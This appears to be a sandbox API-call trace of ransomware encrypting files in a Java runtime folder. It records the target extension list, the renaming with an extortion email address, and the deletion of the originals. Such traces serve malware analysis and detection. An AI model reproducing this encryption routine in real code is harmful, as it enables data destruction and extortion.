	[0092.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 0x20
	[0092.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.646] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0092.647] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.647] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.647] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0092.647] GetLastError () returned 0x0
	[0092.647] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x2da40, lpOverlapped=0x0) returned 1
	[0092.662] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x2da50, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x2da50, lpOverlapped=0x0) returned 1
	[0092.665] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.665] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xee, lpOverlapped=0x0) returned 1
	[0092.665] SetEndOfFile (hFile=0x2b8) returned 1
	[0092.666] CloseHandle (hObject=0x2b8) returned 1
	[0092.666] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.666] SetEndOfFile (hFile=0x374) returned 1
	[0092.668] CloseHandle (hObject=0x374) returned 1
	[0092.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0092.668] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 1
	[0092.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0092.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0092.668] lstrlenW (lpString=".doc") returned 4
	[0092.668] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.668] lstrlenW (lpString=".docx") returned 5
	[0092.668] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0092.668] lstrlenW (lpString=".pdf") returned 4
	[0092.668] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.668] lstrlenW (lpString=".xls") returned 4
	[0092.668] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.668] lstrlenW (lpString=".xlsx") returned 5
	[0092.668] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0092.668] lstrlenW (lpString=".ppt") returned 4
	[0092.668] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0092.668] lstrlenW (lpString=".zip") returned 4
	[0092.668] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.669] lstrlenW (lpString=".rar") returned 4
	[0092.669] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.669] lstrlenW (lpString=".bz2") returned 4
	[0092.669] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.669] lstrlenW (lpString=".7z") returned 3
	[0092.669] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0092.669] lstrlenW (lpString=".dbf") returned 4
	[0092.669] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0092.669] lstrlenW (lpString=".1cd") returned 4
	[0092.669] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0092.669] lstrlenW (lpString=".jpg") returned 4
	[0092.669] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0092.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0092.669] lstrlenW (lpString=".doc") returned 4
	[0092.669] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.669] lstrlenW (lpString=".docx") returned 5
	[0092.669] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0092.669] lstrlenW (lpString=".pdf") returned 4
	[0092.669] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.669] lstrlenW (lpString=".xls") returned 4
	[0092.669] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.669] lstrlenW (lpString=".xlsx") returned 5
	[0092.669] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0092.669] lstrlenW (lpString=".ppt") returned 4
	[0092.669] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0092.669] lstrlenW (lpString=".zip") returned 4
	[0092.669] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.669] lstrlenW (lpString=".rar") returned 4
	[0092.669] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.669] lstrlenW (lpString=".bz2") returned 4
	[0092.669] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.670] lstrlenW (lpString=".7z") returned 3
	[0092.670] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0092.670] lstrlenW (lpString=".dbf") returned 4
	[0092.670] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0092.670] lstrlenW (lpString=".1cd") returned 4
	[0092.670] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0092.670] lstrlenW (lpString=".jpg") returned 4
	[0092.670] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.670] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.670] lstrlenW (lpString="glass.dll") returned 9
	[0092.670] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0092.670] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=265792) returned 1
	[0092.670] CloseHandle (hObject=0x374) returned 1
	[0092.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 0x20
	[0092.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.671] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0092.671] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.671] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.671] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0092.671] GetLastError () returned 0x0
	[0092.671] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x40e40, lpOverlapped=0x0) returned 1
	[0092.686] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x40e50, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x40e50, lpOverlapped=0x0) returned 1
	[0092.691] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.691] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0092.692] SetEndOfFile (hFile=0x2b8) returned 1
	[0092.692] CloseHandle (hObject=0x2b8) returned 1
	[0092.692] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.692] SetEndOfFile (hFile=0x374) returned 1
	[0092.957] CloseHandle (hObject=0x374) returned 1
	[0092.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0092.958] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 1
	[0092.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0092.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0092.958] lstrlenW (lpString=".doc") returned 4
	[0092.958] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.958] lstrlenW (lpString=".docx") returned 5
	[0092.958] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0092.958] lstrlenW (lpString=".pdf") returned 4
	[0092.958] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.958] lstrlenW (lpString=".xls") returned 4
	[0092.958] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.958] lstrlenW (lpString=".xlsx") returned 5
	[0092.958] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0092.958] lstrlenW (lpString=".ppt") returned 4
	[0092.958] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0092.959] lstrlenW (lpString=".zip") returned 4
	[0092.959] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.959] lstrlenW (lpString=".rar") returned 4
	[0092.959] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.959] lstrlenW (lpString=".bz2") returned 4
	[0092.959] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.959] lstrlenW (lpString=".7z") returned 3
	[0092.959] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0092.959] lstrlenW (lpString=".dbf") returned 4
	[0092.959] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0092.959] lstrlenW (lpString=".1cd") returned 4
	[0092.959] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0092.959] lstrlenW (lpString=".jpg") returned 4
	[0092.959] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0092.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0092.959] lstrlenW (lpString=".doc") returned 4
	[0092.959] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.959] lstrlenW (lpString=".docx") returned 5
	[0092.959] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0092.959] lstrlenW (lpString=".pdf") returned 4
	[0092.959] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.959] lstrlenW (lpString=".xls") returned 4
	[0092.959] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.959] lstrlenW (lpString=".xlsx") returned 5
	[0092.959] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0092.959] lstrlenW (lpString=".ppt") returned 4
	[0092.959] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0092.960] lstrlenW (lpString=".zip") returned 4
	[0092.960] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.960] lstrlenW (lpString=".rar") returned 4
	[0092.960] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.960] lstrlenW (lpString=".bz2") returned 4
	[0092.960] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.960] lstrlenW (lpString=".7z") returned 3
	[0092.960] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0092.960] lstrlenW (lpString=".dbf") returned 4
	[0092.960] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0092.960] lstrlenW (lpString=".1cd") returned 4
	[0092.960] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0092.960] lstrlenW (lpString=".jpg") returned 4
	[0092.960] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.960] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.960] lstrlenW (lpString="instrument.dll") returned 14
	[0092.960] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0092.960] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=123456) returned 1
	[0092.960] CloseHandle (hObject=0x374) returned 1
	[0092.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 0x20
	[0092.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.961] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0092.961] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.961] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.961] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0092.961] GetLastError () returned 0x0
	[0092.961] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x1e240, lpOverlapped=0x0) returned 1
	[0093.004] WriteFile (in: hFile=0x324, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x1e250, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x1e250, lpOverlapped=0x0) returned 1
	[0093.007] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.007] WriteFile (in: hFile=0x324, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0093.007] SetEndOfFile (hFile=0x324) returned 1
	[0093.010] CloseHandle (hObject=0x324) returned 1
	[0093.012] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.012] SetEndOfFile (hFile=0x374) returned 1
	[0093.019] CloseHandle (hObject=0x374) returned 1
	[0093.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.025] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 1
	[0093.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0093.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0093.026] lstrlenW (lpString=".doc") returned 4
	[0093.026] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.026] lstrlenW (lpString=".docx") returned 5
	[0093.026] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0093.026] lstrlenW (lpString=".pdf") returned 4
	[0093.026] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.026] lstrlenW (lpString=".xls") returned 4
	[0093.026] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.026] lstrlenW (lpString=".xlsx") returned 5
	[0093.026] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0093.026] lstrlenW (lpString=".ppt") returned 4
	[0093.026] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0093.026] lstrlenW (lpString=".zip") returned 4
	[0093.026] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.026] lstrlenW (lpString=".rar") returned 4
	[0093.026] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.026] lstrlenW (lpString=".bz2") returned 4
	[0093.026] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.026] lstrlenW (lpString=".7z") returned 3
	[0093.026] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0093.026] lstrlenW (lpString=".dbf") returned 4
	[0093.026] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0093.026] lstrlenW (lpString=".1cd") returned 4
	[0093.026] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0093.026] lstrlenW (lpString=".jpg") returned 4
	[0093.026] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0093.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0093.026] lstrlenW (lpString=".doc") returned 4
	[0093.026] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.026] lstrlenW (lpString=".docx") returned 5
	[0093.027] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0093.027] lstrlenW (lpString=".pdf") returned 4
	[0093.027] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.027] lstrlenW (lpString=".xls") returned 4
	[0093.027] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.027] lstrlenW (lpString=".xlsx") returned 5
	[0093.027] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0093.027] lstrlenW (lpString=".ppt") returned 4
	[0093.027] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0093.027] lstrlenW (lpString=".zip") returned 4
	[0093.027] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.027] lstrlenW (lpString=".rar") returned 4
	[0093.027] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.027] lstrlenW (lpString=".bz2") returned 4
	[0093.027] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.027] lstrlenW (lpString=".7z") returned 3
	[0093.027] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0093.027] lstrlenW (lpString=".dbf") returned 4
	[0093.027] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0093.027] lstrlenW (lpString=".1cd") returned 4
	[0093.027] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53
	[0093.027] lstrlenW (lpString=".jpg") returned 4
	[0093.027] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.027] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0093.027] lstrlenW (lpString="jabswitch.exe") returned 13
	[0093.027] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0093.028] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=34368) returned 1
	[0093.028] CloseHandle (hObject=0x388) returned 1
	[0093.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 0x20
	[0093.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.029] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0093.029] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.029] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
